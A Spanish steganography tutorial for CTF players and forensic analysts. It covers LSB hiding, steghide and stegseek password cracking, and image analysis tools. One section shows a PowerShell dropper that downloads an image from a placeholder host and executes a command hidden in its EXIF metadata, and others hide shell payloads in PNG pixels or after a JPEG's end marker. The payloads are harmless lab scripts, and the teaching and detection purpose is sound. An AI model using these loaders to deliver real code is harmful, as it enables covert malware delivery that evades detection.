Esteganografía: Arte de Ocultar
La esteganografía oculta información dentro de otros archivos sin que sea perceptible a simple vista. Una imagen de una playa puede contener un mensaje, un archivo zip o, en contextos maliciosos, un payload ejecutable. Este manual cubre técnicas de ocultación, herramientas de análisis forense y laboratorios CTF completos.
¿Por qué es relevante para seguridad?
La esteganografía es una técnica de doble cara: CTF players la usan para crear retos creativos, analistas de malware la encuentran en campañas APT reales donde los atacantes distribuyen payloads ocultos en imágenes aparentemente inocentes adjuntas a correos o alojadas en servicios legítimos de hosting de imágenes.
Flujo Completo: Ocultar y Descubrir
photo.jpg (2MB)
secret.zip / flag.txt
"p4ssw0rd"
incrustación LSB
Visualmente idéntica
La técnica LSB es el método más común de esteganografía en imágenes. Modifica solo el bit menos significativo de cada canal de color de cada píxel. El cambio es estadísticamente imperceptible al ojo humano.
Cómo Funciona LSB
Cada píxel en una imagen RGB tiene 3 canales (R, G, B), cada uno representado por 8 bits (0-255). El bit más significativo (MSB) vale 128; el menos significativo (LSB) vale solo 1. Cambiar el LSB produce una diferencia de ±1 en el color — completamente invisible.
Demostración Visual
El ojo humano no distingue diferencias de ±1 en el valor de color. El payload está perfectamente camuflado.
LSB en Múltiples Bits
# LSB-1: solo el bit 0 — imperceptible (capacidad: 1/8 del tamaño imagen) # LSB-2: bits 0-1 — casi imperceptible (capacidad: 2/8) # LSB-4: bits 0-3 — ligeramente visible en análisis (capacidad: 4/8) # LSB-8: todos los bits — muy visible, destroza la imagen (capacidad: igual al original) # Python: extraer LSB de una imagen PNG python3 -c " from PIL import Image img = Image.open('photo.png') pixels = list(img.getdata()) lsb_bits = '' for px in pixels[:100]: # primeros 100 pixeles for channel in px[:3]: # R, G, B lsb_bits += str(channel & 1) # extraer LSB print('LSB bits:', lsb_bits[:48]) print('Chars:', ''.join([chr(int(lsb_bits[i:i+8],2)) for i in range(0,48,8)])) " LSB bits: 010001110110100001101111011100110111010001000001 Chars: GhostA ← texto oculto en los LSB!
Cada formato de imagen tiene características distintas que afectan a la esteganografía. Algunos son ideales para ocultar datos sin degradación; otros son detectables fácilmente.
| Formato | Compresión | Soporte steghide | LSB viable | Notas |
|---|---|---|---|---|
| JPEG | Lossy (con pérdida) | ✓ Sí | Limitado | La compresión JPEG destruye LSB al recomprimir. Steghide usa un método especial para JPEG. |
| PNG | Lossless (sin pérdida) | ✗ No | ✓ Ideal | Preserva LSB perfectamente. Usar zsteg, SilentEye o custom scripts para PNG. |
| BMP | Sin compresión | ✓ Sí | ✓ Ideal | Sin compresión — LSB perfectamente preservado. Poco común hoy. |
| GIF | Lossless (paleta) | ✗ No | Complicado | Paleta indexada de 256 colores — LSB modifica el índice, puede cambiar el color visible. |
| WAV/AU | Sin compresión | ✓ Sí | ✓ Ideal | Steghide también soporta audio WAV. Técnica de audio LSB. |
Magic Bytes — Identificar Formato Real
# En CTFs, los archivos a menudo tienen extensión incorrecta file suspicious_image.jpg suspicious_image.jpg: PNG image data, 800x600, 8-bit/color RGB # ↑ extensión .jpg pero es realmente un PNG! # Ver magic bytes directamente xxd suspicious_image.jpg | head -3 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR ← PNG 00000000: ffd8 ffe0 0010 4a46 4946 0001 ......JFIF.... ← JPEG 00000000: 4749 4638 3961 GIF89a ← GIF 00000000: 4249 544d BITM ← BMP # Herramienta identify (ImageMagick) identify -verbose suspicious_image.jpg | head -20 Image: suspicious_image.jpg Format: JPEG (Joint Photographic Experts Group JFIF format) Geometry: 1920x1080+0+0 Colorspace: sRGB Type: TrueColor Comment: Iñigo was here — try password: ghostacademy ← metadato con pista!
Stegseek es un cracker de steghide ultra-rápido escrito en C++. Aprovecha el paralelismo moderno para probar cientos de miles de contraseñas por segundo contra imágenes esteganografiadas con steghide.
Velocidad — Por qué Stegseek es diferente
Stegseek es ~1680x más rápido que hacer fuerza bruta manual contra steghide. Rockyou.txt (14M contraseñas) se crackea en ~21 segundos.
Instalación
# Método 1: DEB package (Kali / Ubuntu / Debian) wget https://github.com/RickdeJager/stegseek/releases/download/v0.6/stegseek_0.6-1.deb sudo apt install ./stegseek_0.6-1.deb stegseek --version StegSeek version 0.6 # Método 2: Build desde fuente (requiere g++, libsteghide-dev) sudo apt install libsteghide-dev libmhash-dev g++ cmake -y git clone https://github.com/RickdeJager/stegseek.git cd stegseek && cmake . && make && sudo make install # Método 3: Docker docker pull rickdejager/stegseek docker run rickdejager/stegseek stegseek --help # Instalar steghide (target de stegseek) sudo apt install steghide -y # Descargar wordlist rockyou (si no está en Kali) sudo apt install wordlists -y && gunzip /usr/share/wordlists/rockyou.txt.gz
Stegseek opera exclusivamente contra archivos esteganografiados con steghide. Prueba cada contraseña del diccionario hasta encontrar la correcta o agotar la lista.
Sintaxis y Modos
## Modo 1: Ataque de diccionario (uso principal) stegseek [imagen.jpg] [wordlist.txt] stegseek secret.jpg /usr/share/wordlists/rockyou.txt ## Modo 2: Especificar archivo de salida stegseek secret.jpg rockyou.txt extracted_file.bin ## Modo 3: Extraer con contraseña conocida (como steghide) stegseek --seed secret.jpg # Extrae solo con la semilla aleatoria (sin contraseña) ## Modo 4: Extraer directamente sin contraseña stegseek --extract -sf secret.jpg -p "" -xf output.bin ## Ver información del archivo steghide steghide info secret.jpg "secret.jpg": format: jpeg capacity: 4.6 KB Try to get information about embedded data? (y/n) y Enter passphrase: embedded file "flag.txt": size: 45.0 Byte encrypted: rijndael-128, cbc compressed: yes
Más allá del ataque con rockyou.txt: cómo crear wordlists personalizadas, combinar con pistas del CTF y extraer archivos compuestos.
# Técnica 1: Usar rockyou.txt completo stegseek challenge.jpg /usr/share/wordlists/rockyou.txt # Técnica 2: Wordlist personalizada con pistas del CTF # Si el CTF da pistas ("contraseña es el nombre del autor + año") cat > custom_wordlist.txt << EOF GhostAcademy2024 ghostacademy GHOST_ACADEMY ghost2024 academy2024 GhostCtf EOF stegseek challenge.jpg custom_wordlist.txt # Técnica 3: Generar wordlist con crunch crunch 4 8 abcdefghijklmnopqrstuvwxyz0123456789 -o wordlist_crunch.txt stegseek challenge.jpg wordlist_crunch.txt # Técnica 4: Combinar con hashcat para mutaciones hashcat --stdout -r /usr/share/hashcat/rules/best64.rule base_words.txt > mutated.txt stegseek challenge.jpg mutated.txt # Técnica 5: Probar contraseña vacía directamente con steghide steghide extract -sf challenge.jpg -p "" -f # Técnica 6: Si el archivo extraído es un ZIP protegido stegseek challenge.jpg rockyou.txt extracted.zip zip2john extracted.zip > zip.hash john zip.hash --wordlist=rockyou.txt secret_zip_password (extracted.zip/flag.txt) # Técnica 7: Extraer y analizar binario oculto stegseek challenge.jpg rockyou.txt payload.bin file payload.bin xxd payload.bin | head -5
Aperi'Solve es una plataforma web gratuita que automatiza el análisis esteganográfico aplicando más de 15 herramientas simultáneamente sobre la imagen subida. Ideal para CTFs cuando no sabes qué técnica se usó.
Análisis de metadatos: exiftool → GPS, timestamps, software, comentarios, thumbnails identify → formato real, profundidad de color, perfil ICC Esteganografía LSB: zsteg → LSB en PNG/BMP (múltiples modos y canales) stegoveritas → análisis LSB exhaustivo, histogramas, detección Datos ocultos/incrustados: steghide → intenta extraer sin contraseña outguess → formato outguess foremost → carve de archivos incrustados (ZIP, EXE, PDF...) binwalk → firmas de archivos anidados dentro de la imagen Análisis de strings: strings → texto legible en el binario de la imagen strings -e l → strings UTF-16 (Windows) Análisis visual: Visualización de bit-planes (R0-R7, G0-G7, B0-B7) Histogramas de color por canal Chi-square test para detección LSB ELA (Error Level Analysis) para JPEG
La vista de bit-planes de Aperi'Solve es su función más poderosa. Muestra la imagen reconstruida usando solo el bit N de cada canal. Si el LSB contiene datos, la capa 0 parecerá "ruidosa" o con patrones no naturales.
Interpretación de Bit-Planes
python3 << 'EOF' from PIL import Image import numpy as np img = Image.open("suspicious.png").convert("RGB") arr = np.array(img) # Extraer y guardar cada bit-plane del canal R for bit in range(8): plane = ((arr[:,:,0] >> bit) & 1) * 255 plane_img = Image.fromarray(plane.astype(np.uint8), mode='L') plane_img.save(f"bit_plane_R{bit}.png") print(f"Guardado bit_plane_R{bit}.png") # Comparar entropía de cada capa for bit in range(8): plane = ((arr[:,:,0] >> bit) & 1) ones = plane.sum() total = plane.size ratio = ones / total flag = " ← SOSPECHOSO" if 0.45 < ratio < 0.55 and bit == 0 else "" print(f"Bit {bit}: {ones}/{total} = {ratio:.3f}{flag}") EOF Bit 0: 261445/480000 = 0.545 ← SOSPECHOSO (no es ruido uniforme) Bit 1: 237832/480000 = 0.496 Bit 2: 241103/480000 = 0.502 ... Bit 7: 183940/480000 = 0.383 (MSB — mucha variación, normal)
ELA — Error Level Analysis para JPEG
# ELA detecta zonas de la imagen con diferente nivel de compresión # Las áreas editadas o con datos ocultos tienen niveles distintos python3 << 'EOF' from PIL import Image, ImageChops, ImageEnhance import os def ela_analysis(image_path, quality=90, scale=10): original = Image.open(image_path) temp_path = "/tmp/ela_temp.jpg" original.save(temp_path, "JPEG", quality=quality) temp = Image.open(temp_path) # Diferencia entre original y recomprimida diff = ImageChops.difference(original, temp) # Amplificar para visualización extrema = diff.getextrema() max_diff = max([ex[1] for ex in extrema]) if max_diff != 0: scale_factor = 255.0 / max_diff * scale diff = ImageEnhance.Brightness(diff).enhance(scale_factor) diff.save("ela_result.png") print("ELA guardado en ela_result.png") print("Zonas brillantes = posibles modificaciones o datos ocultos") ela_analysis("suspicious.jpg") EOF
Las herramientas que Aperi'Solve ejecuta internamente, disponibles también de forma independiente en Kali Linux para análisis más profundo.
gem install zsteg
# Análisis completo LSB
zsteg image.png -a
# Canal específico
zsteg image.png -c red -b 1
# Extraer datos del canal detectado
zsteg image.png -E "b1,rgb,lsb,xy" > out.bin
imagedata .. text: "GhostAcademy{flag}"
b1,rgb,lsb,xy .. file: ZIP archive
binwalk image.png
# Extraer automáticamente
binwalk -e image.png
ls _image.png.extracted/
# Solo firmas de archivos conocidos
binwalk -B image.png
0 PNG image
245678 Zip archive data
245890 End of Zip archive
foremost -i image.png -o /tmp/carved
ls /tmp/carved/
audit.txt jpg/ zip/ exe/
# Solo buscar ZIPs y EXEs
foremost -t zip,exe -i image.png -o /tmp/out
# Ver el audit
cat /tmp/carved/audit.txt
Num Name Size Note
0 zip 4096 Found at 245678
exiftool image.jpg
# Solo comentarios (pistas CTF)
exiftool -Comment image.jpg
Comment: password=gh0stAc4d
# GPS embed (datos en metadatos)
exiftool -GPSLatitude image.jpg
# Buscar en todos los campos
exiftool -s image.jpg | grep -i "flag\|pass\|key"
Steghide es la herramienta estándar para ocultar datos en imágenes JPEG/BMP y audio WAV/AU. Usa cifrado AES-128 con una contraseña. Es el formato que Stegseek crackea.
## OCULTAR un archivo en una imagen steghide embed -cf portadora.jpg -sf secreto.txt -p "mi_password" # -cf: cover file (imagen portadora) # -sf: secret file (archivo a ocultar) # -p: passphrase ## Ejemplo completo con flag CTF echo "GhostAcademy{st3g4n0_m4st3r}" > flag.txt steghide embed -cf foto_playa.jpg -sf flag.txt -p "rockyou" -f wrote 30 bytes in cover file. ## VERIFICAR que tiene datos ocultos steghide info foto_playa.jpg "foto_playa.jpg": format: jpeg capacity: 4.6 KB Try to get information about embedded data? (y/n) y Enter passphrase: rockyou embedded file "flag.txt": size: 31.0 Byte encrypted: rijndael-128, cbc compressed: yes ## EXTRAER conociendo la contraseña steghide extract -sf foto_playa.jpg -p "rockyou" -f wrote extracted data to "flag.txt". cat flag.txt GhostAcademy{st3g4n0_m4st3r} ## Steghide sin contraseña (contenido sin cifrar) steghide embed -cf image.jpg -sf data.txt -p "" steghide extract -sf image.jpg -p ""
Más allá de steghide: herramientas especializadas para PNG, GIF, audio y técnicas más avanzadas que aparecen en CTFs de nivel medio-alto.
## SilentEye — GUI para ocultar en PNG/JPEG/WAV sudo apt install silenteye -y # Interfaz gráfica: arrastra imagen → configura → oculta ## stegano — LSB en PNG (Python) pip3 install stegano python3 -c " from stegano import lsb # Ocultar texto en PNG secret = lsb.hide('imagen.png', 'GhostAcademy{lsb_png_flag}') secret.save('imagen_steg.png') # Revelar texto msg = lsb.reveal('imagen_steg.png') print('Oculto:', msg) " ## outguess — formato propio, común en CTFs sudo apt install outguess -y outguess -k "clave" -d secreto.txt imagen.jpg salida.jpg outguess -k "clave" -r salida.jpg extraido.txt ## openstego — steganografía + watermarking wget https://github.com/syvaidya/openstego/releases/latest/download/openstego.jar java -jar openstego.jar embed -mf secreto.txt -cf imagen.png -sf resultado.png -p clave java -jar openstego.jar extract -sf resultado.png -od /tmp/ -p clave ## stegpy — audio+imagen LSB pip3 install stegpy stegpy secreto.txt imagen.png -p password # ocultar stegpy imagen_steg.png -p password # revelar ## Datos en comentarios EXIF (método sigiloso) exiftool -Comment="GhostAcademy{exif_flag}" imagen.jpg exiftool -Comment imagen.jpg Comment: GhostAcademy{exif_flag}
En el mundo real, los atacantes utilizan esteganografía para distribuir payloads maliciosos evadiendo detecciones. Una imagen adjunta a un email o alojada en un CDN puede contener un script PowerShell o un ejecutable completo.
Técnica 1 — Payload en Metadatos EXIF
# Técnica usada por varios grupos APT: # Ocultar comando en campo de metadatos de imagen # El dropper lee el campo y lo ejecuta # Incrustar comando en el campo Copyright de una imagen exiftool -Copyright='Write-Host "GhostAcademy Lab Payload"' imagen.jpg # El dropper (script) lee y ejecuta el metadato cat dropper.ps1 $img = "http://servidor/imagen.jpg" $wc = New-Object System.Net.WebClient $bytes = $wc.DownloadData($img) [System.IO.File]::WriteAllBytes("C:\Temp\img.jpg", $bytes) # Leer metadato con Add-Type y Shell.Application $shell = New-Object -ComObject Shell.Application $folder = $shell.NameSpace("C:\Temp") $file = $folder.ParseName("img.jpg") $cmd = $file.ExtendedProperty("System.Copyright") Invoke-Expression $cmd # ejecutar el payload # Detección: CUALQUIER proceso que lea metadatos EXIF # y luego llame a Invoke-Expression es sospechoso
Técnica 2 — Ejecutable al Final del JPEG
# Los visores de imagen leen hasta el EOF del formato (FFD9 en JPEG) # Todo lo que viene después es ignorado por los visores # pero está accesible como datos del archivo # Crear payload de laboratorio echo '#!/bin/bash' > lab_payload.sh echo 'echo "GhostAcademy Lab — Payload ejecutado desde imagen"' >> lab_payload.sh echo 'echo "Hostname: $(hostname)"' >> lab_payload.sh # Comprimir para reducir tamaño gzip lab_payload.sh # Añadir al final de la imagen (appending) cat foto_inocente.jpg lab_payload.sh.gz > foto_con_payload.jpg # El archivo es visualmente idéntico — los visores lo muestran igual # Verificar que sigue siendo una imagen válida file foto_con_payload.jpg foto_con_payload.jpg: JPEG image data, JFIF standard 1.01 # Detectar con binwalk binwalk foto_con_payload.jpg DECIMAL HEXADECIMAL DESCRIPTION ------------------------------------------------------ 0 0x0 JPEG image data 245678 0x3BE2E gzip compressed data # Extraer el payload oculto binwalk -e foto_con_payload.jpg ls _foto_con_payload.jpg.extracted/ 3BE2E 3BE2E.gz gunzip _foto_con_payload.jpg.extracted/3BE2E.gz cat _foto_con_payload.jpg.extracted/3BE2E #!/bin/bash echo "GhostAcademy Lab — Payload ejecutado desde imagen"
Técnica 3 — PowerShell Oculto en LSB (Caso Real)
# Caso basado en técnicas documentadas de APT — versión educativa # El payload es un script inofensivo para el lab cat << 'EOF' > embed_lsb.py from PIL import Image import struct def embed_in_lsb(image_path, payload_bytes, output_path): img = Image.open(image_path).convert("RGB") pixels = list(img.getdata()) # Cabecera: longitud del payload en 4 bytes header = struct.pack(">I", len(payload_bytes)) data = header + payload_bytes bits = ''.join(format(b, '08b') for b in data) if len(bits) > len(pixels) * 3: raise ValueError(f"Imagen demasiado pequeña. Necesita {len(bits)//3} pixeles.") new_pixels = [] bit_idx = 0 for px in pixels: new_px = list(px) for c in range(3): if bit_idx < len(bits): # Sustituir LSB del canal con nuestro bit new_px[c] = (new_px[c] & 0xFE) | int(bits[bit_idx]) bit_idx += 1 new_pixels.append(tuple(new_px)) out = Image.new("RGB", img.size) out.putdata(new_pixels) out.save(output_path, "PNG") print(f"[+] {len(payload_bytes)} bytes ocultos en {output_path}") # Payload de laboratorio: script bash inofensivo payload = b"#!/bin/bash echo 'GhostAcademy{lsb_payload_found}' hostname" embed_in_lsb("foto_normal.png", payload, "foto_con_lsb.png") EOF python3 embed_lsb.py [+] 58 bytes ocultos en foto_con_lsb.png # Detección con zsteg zsteg foto_con_lsb.png imagedata .. text: "#!/bin/bash echo 'GhostAcademy{lsb_payload_found}'"
Diseñar y construir un reto de esteganografía completo: elegir la técnica, preparar el carrier, ocultar la flag y preparar las pistas para el jugador.
Ocultar una flag con steghide en una imagen JPEG. La contraseña se obtiene de los metadatos EXIF. El jugador necesita examinar los metadatos, encontrar la contraseña y extraer la flag con steghide o stegseek.
## PASO 1: Preparar el carrier (imagen normal) wget -q "https://picsum.photos/800/600.jpg" -O challenge.jpg # O usar cualquier imagen JPEG de Internet ## PASO 2: Crear la flag echo "GhostAcademy{3x1f_m3t4d4t4_s3cr3t_p4ss}" > flag.txt ## PASO 3: Ocultar la flag con steghide # Contraseña: "phantom2024" (la esconderemos en EXIF) steghide embed -cf challenge.jpg -sf flag.txt -p "phantom2024" -f wrote 45 bytes in cover file. ## PASO 4: Dejar la contraseña como pista en EXIF # Ofuscada: convertir a Base64 para que no sea trivial PASS_B64=$(echo -n "phantom2024" | base64) echo "Contraseña en b64: $PASS_B64" Contraseña en b64: cGhhbnRvbTIwMjQ= exiftool -Artist="GhostAcademy CTF" -Comment="The key is hidden: cGhhbnRvbTIwMjQ=" -Software="Photoshop CS6" challenge.jpg ## PASO 5: Verificar el reto exiftool challenge.jpg | grep -E "Artist|Comment|Software" Artist : GhostAcademy CTF Comment : The key is hidden: cGhhbnRvbTIwMjQ= Software : Photoshop CS6 ## PASO 6: Confirmar que el reto es resoluble EXTRACTED_PASS=$(echo "cGhhbnRvbTIwMjQ=" | base64 -d) steghide extract -sf challenge.jpg -p "$EXTRACTED_PASS" -f wrote extracted data to "flag.txt". cat flag.txt GhostAcademy{3x1f_m3t4d4t4_s3cr3t_p4ss}
Metodología completa para resolver un reto de esteganografía desde cero, sin saber qué técnica se usó. El flujo de análisis que usa un CTF player experimentado.
Recibes challenge.jpg. Sin pistas adicionales. Aplicar la metodología estándar hasta encontrar la flag.
file challenge.jpg challenge.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), 72 x 72 xxd challenge.jpg | head -3 ffd8 ffe0 0010 4a46 4946 ← magic bytes JPEG correctos ls -la challenge.jpg -rw-r--r-- 1 user user 245823 Jan 15 14:30 challenge.jpg # Tamaño sospechosamente grande para una imagen normal? Investigar.
exiftool challenge.jpg ... Artist : GhostAcademy CTF Comment : The key is hidden: cGhhbnRvbTIwMjQ= ← PISTA! Software : Photoshop CS6 ... # Decodificar el Base64 del Comment echo "cGhhbnRvbTIwMjQ=" | base64 -d phantom2024 ← contraseña encontrada!
# Intentar steghide con la contraseña encontrada steghide extract -sf challenge.jpg -p "phantom2024" wrote extracted data to "flag.txt". cat flag.txt GhostAcademy{3x1f_m3t4d4t4_s3cr3t_p4ss} # Alternativa: stegseek si no tenemos la contraseña stegseek challenge.jpg /usr/share/wordlists/rockyou.txt [i] Found passphrase: "phantom2024" [i] Extracting to "challenge.jpg.out"
Recrear el escenario de malware esteganográfico: un atacante distribuye una imagen PNG que contiene un script de shell oculto en los LSBs. El analista debe encontrarlo y extraerlo.
Simular el ciclo completo de un vector de ataque esteganográfico: ocultar un payload en LSB de PNG, distribuirlo como imagen aparentemente inocente, y analizarlo con Aperi'Solve + zsteg.
## PARTE A: ATACANTE — Ocultar payload en PNG # Script de laboratorio (payload inofensivo) cat << 'PAYLOAD' > lab_payload.sh #!/bin/bash # GhostAcademy Lab Payload — Inofensivo echo "[+] Payload extraído de imagen PNG" echo "[+] Hostname: $(hostname)" echo "[+] Usuario: $(whoami)" echo "[+] Flag: GhostAcademy{lsb_png_p4yl04d_3xtr4ct3d}" PAYLOAD # Script Python para incrustar en PNG cat << 'EOF' > embed_payload.py from PIL import Image import struct def embed(img_path, payload_path, out_path): with open(payload_path, 'rb') as f: payload = f.read() img = Image.open(img_path).convert('RGB') pixels = list(img.getdata()) # Magic header: GHOS + longitud en 4 bytes magic = b'GHOS' header = magic + struct.pack('>I', len(payload)) data = header + payload bits = ''.join(f'{b:08b}' for b in data) if len(bits) > len(pixels) * 3: raise ValueError("Imagen demasiado pequeña para el payload") new_pixels = [] bit_idx = 0 for px in pixels: r, g, b = px if bit_idx < len(bits): r = (r & 0xFE) | int(bits[bit_idx]); bit_idx += 1 if bit_idx < len(bits): g = (g & 0xFE) | int(bits[bit_idx]); bit_idx += 1 if bit_idx < len(bits): b = (b & 0xFE) | int(bits[bit_idx]); bit_idx += 1 new_pixels.append((r, g, b)) out = Image.new('RGB', img.size) out.putdata(new_pixels) out.save(out_path, 'PNG', optimize=False) print(f"[+] Payload incrustado: {len(payload)} bytes en {out_path}") print(f"[+] Imagen original e imagen con payload son visualmente idénticas") embed('foto_inocente.png', 'lab_payload.sh', 'foto_maliciosa.png') EOF python3 embed_payload.py [+] Payload incrustado: 189 bytes en foto_maliciosa.png [+] Imagen original e imagen con payload son visualmente idénticas ## PARTE B: ANALISTA — Detectar y extraer el payload # 1. Subir a Aperi'Solve (www.aperisolve.com) para análisis automático # 2. O analizar localmente: zsteg foto_maliciosa.png -a imagedata .. text: "GHOS ½#!/bin/bash # GhostAcademy Lab Payload" # zsteg detecta el magic header GHOS y el contenido! # Extraer con script Python cat << 'EOF' > extract_payload.py from PIL import Image import struct def extract(img_path): img = Image.open(img_path).convert('RGB') pixels = list(img.getdata()) # Extraer todos los LSBs bits = '' for px in pixels: for c in px: bits += str(c & 1) # Convertir a bytes data = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits)-7, 8)) # Buscar magic header idx = data.find(b'GHOS') if idx == -1: print("[-] No se encontró magic header GHOS") return length = struct.unpack('>I', data[idx+4:idx+8])[0] payload = data[idx+8:idx+8+length] print(f"[+] Magic header encontrado en offset {idx}") print(f"[+] Longitud del payload: {length} bytes") print(f"[+] Payload extraído:") print(payload.decode('utf-8', errors='replace')) with open('payload_extraido.sh', 'wb') as f: f.write(payload) print("[+] Guardado en payload_extraido.sh") extract('foto_maliciosa.png') EOF python3 extract_payload.py [+] Magic header encontrado en offset 0 [+] Longitud del payload: 189 bytes [+] Payload extraído: #!/bin/bash # GhostAcademy Lab Payload — Inofensivo echo "[+] Payload extraído de imagen PNG" echo "[+] Flag: GhostAcademy{lsb_png_p4yl04d_3xtr4ct3d}" [+] Guardado en payload_extraido.sh
El reto más completo: una imagen con capas múltiples de ocultación que requieren combinar varias herramientas para resolver. El tipo de reto que aparece en CTFs de nivel avanzado.
Cadena de desafíos en un solo archivo: exiftool revela un ZIP contraseñado, el ZIP contiene otra imagen con steghide, steghide tiene la flag final.
## CONSTRUIR el reto (perspectiva del autor) # Capa 3 (más profunda): flag oculta con steghide echo "GhostAcademy{mult1l4y3r_st3g_m4st3r_2024}" > final_flag.txt steghide embed -cf inner_image.jpg -sf final_flag.txt -p "gr0undz3r0" -f # Capa 2: comprimir la imagen en un ZIP contraseñado zip -P "sp3ctr3" layer2.zip inner_image.jpg # Capa 1: ocultar la contraseña del ZIP en metadatos EXIF # La contraseña del steghide ("gr0undz3r0") va en el campo GPS exiftool -GPSLatitude="47.3456" -GPSLongitude="8.5412" -Comment="Coordinates lead the way. ZIP awaits." -XPComment="VGhlIHJlYWwga2V5OiBzcDNjdHIz" outer_challenge.jpg # "VGhlIHJlYWwga2V5OiBzcDNjdHIz" = base64("The real key: sp3ctr3") # Appendear el ZIP al final de la imagen outer_challenge.jpg cat outer_challenge.jpg layer2.zip > challenge_multilayer.jpg ## RESOLVER el reto (perspectiva del jugador) echo "=== Paso 1: Reconocimiento ===" file challenge_multilayer.jpg && exiftool challenge_multilayer.jpg | grep -E "Comment|GPS|XP" Comment: Coordinates lead the way. ZIP awaits. XPComment: VGhlIHJlYWwga2V5OiBzcDNjdHIz echo "=== Paso 2: Decodificar pista ===" echo "VGhlIHJlYWwga2V5OiBzcDNjdHIz" | base64 -d The real key: sp3ctr3 echo "=== Paso 3: Extraer ZIP con binwalk ===" binwalk -e challenge_multilayer.jpg ls _challenge_multilayer.jpg.extracted/ layer2.zip echo "=== Paso 4: Descomprimir ZIP ===" unzip -P "sp3ctr3" _challenge_multilayer.jpg.extracted/layer2.zip inflating: inner_image.jpg echo "=== Paso 5: Stegseek contra la imagen interna ===" stegseek inner_image.jpg /usr/share/wordlists/rockyou.txt [i] Found passphrase: "gr0undz3r0" [i] Original filename: "final_flag.txt" cat final_flag.txt GhostAcademy{mult1l4y3r_st3g_m4st3r_2024}
Detectar esteganografía sin saber dónde está es un problema estadístico. Las herramientas de steganalysis buscan anomalías en la distribución de los LSBs comparando con imágenes naturales.
# 1. Chi-square test — si los LSBs son demasiado "uniformes", hay steg python3 << 'EOF' from PIL import Image import numpy as np from scipy.stats import chisquare def chi_square_test(image_path): img = Image.open(image_path).convert('RGB') arr = np.array(img) # Analizar canal R channel = arr[:,:,0].flatten() # Pares de valores consecutivos deben tener distribución similar en steg LSB even = np.sum(channel % 2 == 0) odd = np.sum(channel % 2 == 1) total = len(channel) expected = total / 2 chi2, p_value = chisquare([even, odd], [expected, expected]) print(f"Imagen: {image_path}") print(f"Pixels pares: {even} ({even/total*100:.1f}%)") print(f"Pixels impares: {odd} ({odd/total*100:.1f}%)") print(f"Chi2: {chi2:.4f}, p-value: {p_value:.6f}") if p_value < 0.05: print("RESULTADO: Distribución sospechosa — posible esteganografía LSB") else: print("RESULTADO: Distribución normal — no se detecta steg LSB") chi_square_test("imagen_normal.png") chi_square_test("imagen_con_lsb.png") EOF Imagen: imagen_normal.png Pixels pares: 241230 (50.3%) | Pixels impares: 238770 (49.7%) Chi2: 0.0125, p-value: 0.911 — Distribución normal Imagen: imagen_con_lsb.png Pixels pares: 240000 (50.0%) | Pixels impares: 240000 (50.0%) Chi2: 0.0000, p-value: 1.000 — RESULTADO: Distribución sospechosa (demasiado uniforme) # 2. stegdetect — detector clásico de steghide/jsteg/outguess sudo apt install stegdetect -y stegdetect suspicious.jpg suspicious.jpg : steghide(**) # (**) = alta confianza en detección # 3. Comparar tamaño de archivos # Una imagen steganografiada con steghide es más grande que el original du -b original.jpg steg.jpg 245678 original.jpg 249834 steg.jpg ← 4KB adicionales
Metodología completa de análisis forense de imágenes sospechosas: desde el primer vistazo hasta la extracción de todos los datos posibles.
#!/bin/bash — forensics_image.sh TARGET="$1" echo "=== GhostAcademy Forensics: $TARGET ===" # 1. Identificación básica file "$TARGET" xxd "$TARGET" | head -3 du -sh "$TARGET" # 2. Metadatos completos exiftool "$TARGET" | tee /tmp/exif_output.txt grep -i "flag\|pass\|key\|hint\|secret\|ctf" /tmp/exif_output.txt # 3. Strings legibles strings "$TARGET" | grep -E "[A-Za-z0-9+/]{20,}=" | head -10 # ↑ buscar Base64 largo strings "$TARGET" | grep -i "GhostAcademy\|flag\|CTF{" # 4. Archivos incrustados binwalk "$TARGET" foremost -i "$TARGET" -o /tmp/foremost_out # 5. Esteganografía LSB (si es PNG/BMP) zsteg "$TARGET" -a 2>/dev/null | head -20 # 6. Intentar steghide sin contraseña steghide extract -sf "$TARGET" -p "" -f 2>&1 # 7. Stegseek con rockyou stegseek "$TARGET" /usr/share/wordlists/rockyou.txt 2>&1 # 8. Subir a Aperi'Solve para análisis completo echo "[*] Subir a https://www.aperisolve.com para análisis visual"
Cheatsheet para CTF players y analistas forenses de imágenes.
⚡ Stegseek — Comandos
- Ataque básico:
stegseek imagen.jpg /usr/share/wordlists/rockyou.txt - Con wordlist custom:
stegseek imagen.jpg mi_wordlist.txt - Especificar output:
stegseek imagen.jpg rockyou.txt output.bin - Extraer sin contraseña:
steghide extract -sf imagen.jpg -p "" -f - Ver info steghide:
steghide info imagen.jpg
🌊 Aperi'Solve — Uso
- Plataforma web:
www.aperisolve.com - zsteg local:
zsteg imagen.png -a - Extraer canal específico:
zsteg imagen.png -E "b1,rgb,lsb,xy" > out.bin - exiftool:
exiftool imagen.jpg | grep -i "pass\|key\|flag" - binwalk incrustados:
binwalk -e imagen.jpg - foremost carving:
foremost -i imagen.jpg -o /tmp/out
Metodología CTF
- 1.
file imagen— verificar formato real - 2.
exiftool imagen— buscar pistas en metadatos - 3.
strings imagen— texto legible y Base64 - 4.
binwalk imagen— archivos incrustados - 5.
steghide extract -p ""— probar sin contraseña - 6.
stegseek imagen rockyou.txt— ataque diccionario - 7.
zsteg imagen -a(solo PNG/BMP) — LSB analysis - 8. Subir a
aperisolve.compara análisis completo - 9. ELA para JPEG — detectar zonas editadas
- 10. Analizar bit-planes manualmente si todo lo anterior falla
URLs y Referencias
- Aperi'Solve: www.aperisolve.com
- Stegseek GitHub: github.com/RickdeJager/stegseek
- StegOnline: stegonline.georgeom.net (alternativa web a zsteg)
- Forensically: 29a.ch/photo-forensics (ELA online)
- CTF Time steg challenges: ctftime.org (filtrar por Stego)